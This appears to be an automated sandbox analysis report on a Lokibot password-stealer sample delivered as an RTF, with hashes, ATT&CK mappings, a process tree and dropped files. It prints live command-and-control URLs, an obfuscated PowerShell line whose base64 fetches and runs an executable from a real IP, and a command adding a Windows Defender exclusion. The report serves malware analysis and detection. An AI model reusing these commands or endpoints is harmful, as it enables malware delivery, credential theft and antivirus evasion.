lokibot | 564a4e9044bd96c3c67ae4c596664a2d9a7ecd1962872ac836e051949fb109b1

Analysis

max time kernel
120s
max time network
121s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
21-11-2024 05:02

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

564a4e9044bd96c3c67ae4c596664a2d9a7ecd1962872ac836e051949fb109b1.rtf
Size

251KB
MD5

e6859034a42f217800b6bf0980e93848
SHA1

8dcb69dcf727b7a7fbfbf6755492990dc51fd192
SHA256

564a4e9044bd96c3c67ae4c596664a2d9a7ecd1962872ac836e051949fb109b1
SHA512

778ceefc76571268a7c82c18ec1b6f6661b4f696d2612528b8eb94488383c84c9dba6613cd5b1c715514e64d062d73d28d84395f30dadb4fd2da51cbac372d35
SSDEEP

3072:sUcN1DaxXp1sAkC5gCQqCv7L5FokmFJcmrmR3D:slruZ1sA55gCQBL5FokmFyCmR3D

Score

10^/10

lokibot collection defense_evasion discovery execution spyware stealer trojan

Malware Config

Extracted

Family

lokibot

http://94.156.177.41/maxzi/five/fre.php

http://kbfvzoboss.bid/alien/fre.php

http://alphastand.trade/alien/fre.php

http://alphastand.win/alien/fre.php

http://alphastand.top/alien/fre.php

Signatures

Lokibot
Lokibot is a Password and CryptoCoin Wallet Stealer.
trojan spyware stealer lokibot
Lokibot family
lokibot

Blocklisted process makes network request 2 IoCs

flow	pid	Process
4	320	EQNEDT32.EXE
6	2808	poWERShell.eXe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2904	powershell.exe

Downloads MZ/PE file

Evasion via Device Credential Deployment 2 IoCs

defense_evasion execution

pid	Process
2808	poWERShell.eXe
2088	powershell.exe

Executes dropped EXE 4 IoCs

pid	Process
2576	wininit.exe
1944	wininit.exe
3008	wininit.exe
964	wininit.exe

Loads dropped DLL 3 IoCs

pid	Process
2808	poWERShell.eXe
2808	poWERShell.eXe
2808	poWERShell.eXe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	wininit.exe
Key opened	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	wininit.exe
Key opened	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	wininit.exe

Drops file in System32 directory 3 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	poWERShell.eXe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe
File opened for modification	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2576 set thread context of 964	2576	wininit.exe	47

Drops file in Windows directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\Debug\WIA\wiatrace.log	WINWORD.EXE

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 9 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	mshta.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	poWERShell.eXe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	csc.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	wininit.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	EQNEDT32.EXE
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cvtres.exe

Office loads VBA resources, possible macro or embedded object present

Launches Equation Editor 1 TTPs 1 IoCs

Equation Editor is an old Office component often targeted by exploits such as CVE-2017-11882.

exploit

Exploitation for Client Execution

T1203

pid	Process
320	EQNEDT32.EXE

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
2512	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
2808	poWERShell.eXe
2088	powershell.exe
2576	wininit.exe
2576	wininit.exe
2576	wininit.exe
2576	wininit.exe
2904	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	2808	poWERShell.eXe
Token: SeDebugPrivilege	2088	powershell.exe
Token: SeDebugPrivilege	2576	wininit.exe
Token: SeDebugPrivilege	2904	powershell.exe
Token: SeDebugPrivilege	964	wininit.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2512	WINWORD.EXE
2512	WINWORD.EXE

Suspicious use of WriteProcessMemory 50 IoCs

description	pid	Process	procid_target
PID 320 wrote to memory of 2688	320	EQNEDT32.EXE	33
PID 320 wrote to memory of 2688	320	EQNEDT32.EXE	33
PID 320 wrote to memory of 2688	320	EQNEDT32.EXE	33
PID 320 wrote to memory of 2688	320	EQNEDT32.EXE	33
PID 2688 wrote to memory of 2808	2688	mshta.exe	35
PID 2688 wrote to memory of 2808	2688	mshta.exe	35
PID 2688 wrote to memory of 2808	2688	mshta.exe	35
PID 2688 wrote to memory of 2808	2688	mshta.exe	35
PID 2808 wrote to memory of 2088	2808	poWERShell.eXe	37
PID 2808 wrote to memory of 2088	2808	poWERShell.eXe	37
PID 2808 wrote to memory of 2088	2808	poWERShell.eXe	37
PID 2808 wrote to memory of 2088	2808	poWERShell.eXe	37
PID 2808 wrote to memory of 1252	2808	poWERShell.eXe	38
PID 2808 wrote to memory of 1252	2808	poWERShell.eXe	38
PID 2808 wrote to memory of 1252	2808	poWERShell.eXe	38
PID 2808 wrote to memory of 1252	2808	poWERShell.eXe	38
PID 1252 wrote to memory of 2604	1252	csc.exe	39
PID 1252 wrote to memory of 2604	1252	csc.exe	39
PID 1252 wrote to memory of 2604	1252	csc.exe	39
PID 1252 wrote to memory of 2604	1252	csc.exe	39
PID 2512 wrote to memory of 1272	2512	WINWORD.EXE	41
PID 2512 wrote to memory of 1272	2512	WINWORD.EXE	41
PID 2512 wrote to memory of 1272	2512	WINWORD.EXE	41
PID 2512 wrote to memory of 1272	2512	WINWORD.EXE	41
PID 2808 wrote to memory of 2576	2808	poWERShell.eXe	42
PID 2808 wrote to memory of 2576	2808	poWERShell.eXe	42
PID 2808 wrote to memory of 2576	2808	poWERShell.eXe	42
PID 2808 wrote to memory of 2576	2808	poWERShell.eXe	42
PID 2576 wrote to memory of 2904	2576	wininit.exe	43
PID 2576 wrote to memory of 2904	2576	wininit.exe	43
PID 2576 wrote to memory of 2904	2576	wininit.exe	43
PID 2576 wrote to memory of 2904	2576	wininit.exe	43
PID 2576 wrote to memory of 1944	2576	wininit.exe	45
PID 2576 wrote to memory of 1944	2576	wininit.exe	45
PID 2576 wrote to memory of 1944	2576	wininit.exe	45
PID 2576 wrote to memory of 1944	2576	wininit.exe	45
PID 2576 wrote to memory of 3008	2576	wininit.exe	46
PID 2576 wrote to memory of 3008	2576	wininit.exe	46
PID 2576 wrote to memory of 3008	2576	wininit.exe	46
PID 2576 wrote to memory of 3008	2576	wininit.exe	46
PID 2576 wrote to memory of 964	2576	wininit.exe	47
PID 2576 wrote to memory of 964	2576	wininit.exe	47
PID 2576 wrote to memory of 964	2576	wininit.exe	47
PID 2576 wrote to memory of 964	2576	wininit.exe	47
PID 2576 wrote to memory of 964	2576	wininit.exe	47
PID 2576 wrote to memory of 964	2576	wininit.exe	47
PID 2576 wrote to memory of 964	2576	wininit.exe	47
PID 2576 wrote to memory of 964	2576	wininit.exe	47
PID 2576 wrote to memory of 964	2576	wininit.exe	47
PID 2576 wrote to memory of 964	2576	wininit.exe	47

outlook_office_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	wininit.exe

outlook_win_path 1 IoCs

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-1488793075-819845221-1497111674-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	wininit.exe

C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
"C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\564a4e9044bd96c3c67ae4c596664a2d9a7ecd1962872ac836e051949fb109b1.rtf"
1⤵
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2512
- C:\Windows\splwow64.exe
  C:\Windows\splwow64.exe 12288
  2⤵
  PID:1272

C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
"C:\Program Files (x86)\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
1⤵
- Blocklisted process makes network request
- System Location Discovery: System Language Discovery
- Launches Equation Editor
- Suspicious use of WriteProcessMemory
PID:320
- C:\Windows\SysWOW64\mshta.exe
  "C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Roaming\goodtoseeuthatgreatthingswithentirethingsgreatf.hta"
  2⤵
  - System Location Discovery: System Language Discovery
  - Modifies Internet Explorer settings
  - Suspicious use of WriteProcessMemory
  PID:2688
- - C:\Windows\SysWOW64\WINDOwSPOWershELL\V1.0\poWERShell.eXe
    "C:\Windows\SYSTEm32\WINDOwSPOWershELL\V1.0\poWERShell.eXe" "poWershELl.ExE -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt ; InvOKe-EXpreSSion($(iNvoke-EXpreSSIoN('[sYStem.TExT.eNcoDiNg]'+[CHar]0x3A+[chAr]58+'Utf8.gETsTriNg([systEm.coNvErT]'+[ChAR]0X3a+[CHAr]58+'fRoMbaSE64sTRinG('+[ChaR]0x22+'JGozckggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA9ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELXR5UEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtTUVtYmVyZGVGSW5pVElPTiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICdbRGxsSW1wb3J0KCJ1UkxNb04uRGxsIiwgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTE9ETWxJWUZIRixzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlTyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMcmQsdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGtDTXYsSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgc0t3aFNVZ0ZkKTsnICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hTUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAiUEtKbWRxIiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OYW1lU3BhY2UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBMWVBocGZaVmggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAtUGFzc1RocnU7ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGozckg6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly82Ni42My4xODcuMjMxLzMzL2Nhc3BvbC5leGUiLCIkRU52OkFQUERBVEFcd2luaW5pdC5leGUiLDAsMCk7U1RBUlQtU2xFRVAoMyk7aUV4ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFTnY6QVBQREFUQVx3aW5pbml0LmV4ZSI='+[CHAR]0x22+'))')))"
    3⤵
    - Blocklisted process makes network request
    - Evasion via Device Credential Deployment
    - Loads dropped DLL
    - Drops file in System32 directory
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2808
  - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eX bypAss -nOP -W 1 -C deViCEcrEDEntiALdEplOYmeNt
      4⤵
      Evasion via Device Credential Deployment
      Drops file in System32 directory
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2088
  - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
      "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\xgmcc-rp.cmdline"
      4⤵
      System Location Discovery: System Language Discovery
      Suspicious use of WriteProcessMemory
      PID:1252
    - - C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESEF30.tmp" "c:\Users\Admin\AppData\Local\Temp\CSCEF2F.tmp"
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:2604
  - - C:\Users\Admin\AppData\Roaming\wininit.exe
      "C:\Users\Admin\AppData\Roaming\wininit.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2576
    - - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\wininit.exe"
        5⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        System Location Discovery: System Language Discovery
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2904
    - - C:\Users\Admin\AppData\Roaming\wininit.exe
        
        "C:\Users\Admin\AppData\Roaming\wininit.exe"
        5⤵
        Executes dropped EXE
        
        PID:1944
    - - C:\Users\Admin\AppData\Roaming\wininit.exe
        
        "C:\Users\Admin\AppData\Roaming\wininit.exe"
        5⤵
        Executes dropped EXE
        
        PID:3008
    - - C:\Users\Admin\AppData\Roaming\wininit.exe
        
        "C:\Users\Admin\AppData\Roaming\wininit.exe"
        5⤵
        Executes dropped EXE
        Accesses Microsoft Outlook profiles
        Suspicious use of AdjustPrivilegeToken
        outlook_office_path
        outlook_win_path
        
        PID:964

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Exploitation for Client Execution

T1203

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\RESEF30.tmp

Filesize
1KB

MD5
263725a648fa08c47ff7e93f6ae6d9c0

SHA1
ee2c49bfe3c908be90f840a82d55d572e0796d22

SHA256
033ea33d1de91319919c2fe2bbeb7e26e9fc737a361f0bf1cb82e5800b29dae8

SHA512
62d0a5030f61206cdf3cc7114d10fa6f9eb31489cb06e3db170b424eb97b1f7566363ba9e25b2164e54113c91f5bee23715230a78e72d4c92a8b24827678a3a9

Download Submit
C:\Users\Admin\AppData\Local\Temp\xgmcc-rp.dll

Filesize
3KB

MD5
c5f00bb6591de7e8babb742aa2484bc5

SHA1
82c7f4061ae27f8aaedf321abc5cafaef0d62ce5

SHA256
b9a7fedec9b243cc52623cf2a0d2c40666b06070122ab8f972e1cddde381c53f

SHA512
4881d72b592f6bd127fa5b11e8baa31fd17213051460ea91f2a72723332aec0a9f2a0fd7dfec6a99d76a0437f1f94ed1618b0dabf212462bbf1c8518c854aabb

Download Submit
C:\Users\Admin\AppData\Local\Temp\xgmcc-rp.pdb

Filesize
7KB

MD5
5c91fa3698eaa494e7bdeff3900f498d

SHA1
1771bf5cf61301c1202fc69fc7c9cb1cb062cc46

SHA256
d7acde1a4c82c2541f3135f760d937280df2247dbabf89928c70785b73c2944c

SHA512
32c228aed04738ffeff1ce0dfcf8332c2e4256e4c4863fcc105528460a4016c894eaac0b5def24dd75b44d659daaf706dbe318d98f60c946618dc21510013eab

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1488793075-819845221-1497111674-1000\0f5007522459c86e95ffcc62f32308f1_18cc84e5-41c1-45e6-bdc9-06ff0c9e128a

Filesize
46B

MD5
d898504a722bff1524134c6ab6a5eaa5

SHA1
e0fdc90c2ca2a0219c99d2758e68c18875a3e11e

SHA256
878f32f76b159494f5a39f9321616c6068cdb82e88df89bcc739bbc1ea78e1f9

SHA512
26a4398bffb0c0aef9a6ec53cd3367a2d0abf2f70097f711bbbf1e9e32fd9f1a72121691bb6a39eeb55d596edd527934e541b4defb3b1426b1d1a6429804dc61

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-1488793075-819845221-1497111674-1000\0f5007522459c86e95ffcc62f32308f1_18cc84e5-41c1-45e6-bdc9-06ff0c9e128a

Filesize
46B

MD5
c07225d4e7d01d31042965f048728a0a

SHA1
69d70b340fd9f44c89adb9a2278df84faa9906b7

SHA256
8c136c7ae08020ad16fd1928e36ad335ddef8b85906d66b712fff049aa57dc9a

SHA512
23d3cea738e1abf561320847c39dadc8b5794d7bd8761b0457956f827a17ad2556118b909a3e6929db79980ccf156a6f58ac823cf88329e62417d2807b34b64b

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms

Filesize
7KB

MD5
a34ac71400d222f400e4f0a1aa3b7e24

SHA1
e10eb1a6b583805012d6b32e48ed7583f28924af

SHA256
eb7f05c333b827a314fd3967613890e68338dedd3db7a9dccf97ee7217be41b1

SHA512
0baa4cd30c091dfc81987ccbba4262cabd6f2bebd23a11bf033245d093ad9f08236fcc6e5bf377f7ed1447b44dfbf75de75540dea0519f9c3f234e2877ae48bf

Download Submit
C:\Users\Admin\AppData\Roaming\goodtoseeuthatgreatthingswithentirethingsgreatf.hta

Filesize
23KB

MD5
ec0d423a3f72d69975a1e31a275f5377

SHA1
213922fb8456ecaadc24889afec1ac6ef5010c68

SHA256
9fd433cd543ab161d2a3ccb96a265c79ee0bb1a513647c0c33c72114660c64ac

SHA512
8132f567abfd4e3489204d1f3a9fc8292457ce10495345cd0ccfa8074233411c8305c4d73078a7dee02b086fbc22b8ad7047dd4bc127de337d0800771edf53ad

Download Submit
C:\Users\Admin\AppData\Roaming\wininit.exe

Filesize
586KB

MD5
66b03d1aff27d81e62b53fc108806211

SHA1
2557ec8b32d0b42cac9cabde199d31c5d4e40041

SHA256
59586e753c54629f428a6b880f6aff09f67af0ace76823af3627dda2281532e4

SHA512
9f8ef3dd8c482debb535b1e7c9155e4ab33a04f8c4f31ade9e70adbd5598362033785438d5d60c536a801e134e09fcd1bc80fc7aed2d167af7f531a81f12e43d

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\CSCEF2F.tmp

Filesize
652B

MD5
a99eb9ea198acaedd5077eed8303179a

SHA1
d394d42b44edca1fe0d5ec37f7d214f41d0df184

SHA256
d5aed99214eb726589da2e693c0e5d3d9dcef4c875c310327672ca04d9e79cdc

SHA512
4eaefef8756bab8364bdbc081066d7e172fb043f4001d221c796564dd7d4b1f217f1d3373470bad71717656c1cc46645a4d4c1a2ebc263133ec0def71030ffad

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\xgmcc-rp.0.cs

Filesize
480B

MD5
b0517586f4097114e790c61f2685f0d5

SHA1
20f7482298ab96731228ebd5242ceddfd72ff50f

SHA256
a738e3af6f29edd637630b0299f306056042ea1c73850eee95498499f5d90237

SHA512
c28702017ce7fe0d34bea38cef48df3bb65c63d92dddd6f8264f7262f7ae61b8d71bcd6fec06d0792373d15ba84fb2a1d0c26b0fe5755bc20505a9197d654ba0

Download Submit
\??\c:\Users\Admin\AppData\Local\Temp\xgmcc-rp.cmdline

Filesize
309B

MD5
03cc27246d73effddabcde0c807b3ca0

SHA1
8f32dc674e23ad6ab55fa0434c79f11eb3e3b95e

SHA256
b90f9b503065cd1bc445cfcb568cac7f3015b25fff1b9bd5a509ca29f7abaca6

SHA512
1a64ef59acc448c8bda48f92bdcc93a133a3e609afe5933f2104248e8c2964ede6ee99d4d965ca0f17365d53ed15d53e97a2de1be68437e0305863f7e0eb84a2

Download Submit
memory/964-74-0x0000000000400000-0x00000000004A2000-memory.dmp

Filesize
648KB

Download
memory/964-67-0x0000000000400000-0x00000000004A2000-memory.dmp

Filesize
648KB

Download
memory/964-107-0x0000000000400000-0x00000000004A2000-memory.dmp

Filesize
648KB

Download
memory/964-98-0x0000000000400000-0x00000000004A2000-memory.dmp

Filesize
648KB

Download
memory/964-63-0x0000000000400000-0x00000000004A2000-memory.dmp

Filesize
648KB

Download
memory/964-61-0x0000000000400000-0x00000000004A2000-memory.dmp

Filesize
648KB

Download
memory/964-72-0x0000000000400000-0x00000000004A2000-memory.dmp

Filesize
648KB

Download
memory/964-71-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/964-69-0x0000000000400000-0x00000000004A2000-memory.dmp

Filesize
648KB

Download
memory/964-65-0x0000000000400000-0x00000000004A2000-memory.dmp

Filesize
648KB

Download
memory/2512-0-0x000000002F981000-0x000000002F982000-memory.dmp

Filesize
4KB

Download
memory/2512-42-0x00000000710FD000-0x0000000071108000-memory.dmp

Filesize
44KB

Download
memory/2512-2-0x00000000710FD000-0x0000000071108000-memory.dmp

Filesize
44KB

Download
memory/2512-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

Filesize
64KB

Download
memory/2576-58-0x0000000004510000-0x0000000004574000-memory.dmp

Filesize
400KB

Download
memory/2576-57-0x0000000000320000-0x0000000000332000-memory.dmp

Filesize
72KB

Download
memory/2576-56-0x0000000000890000-0x0000000000928000-memory.dmp

Filesize
608KB

Download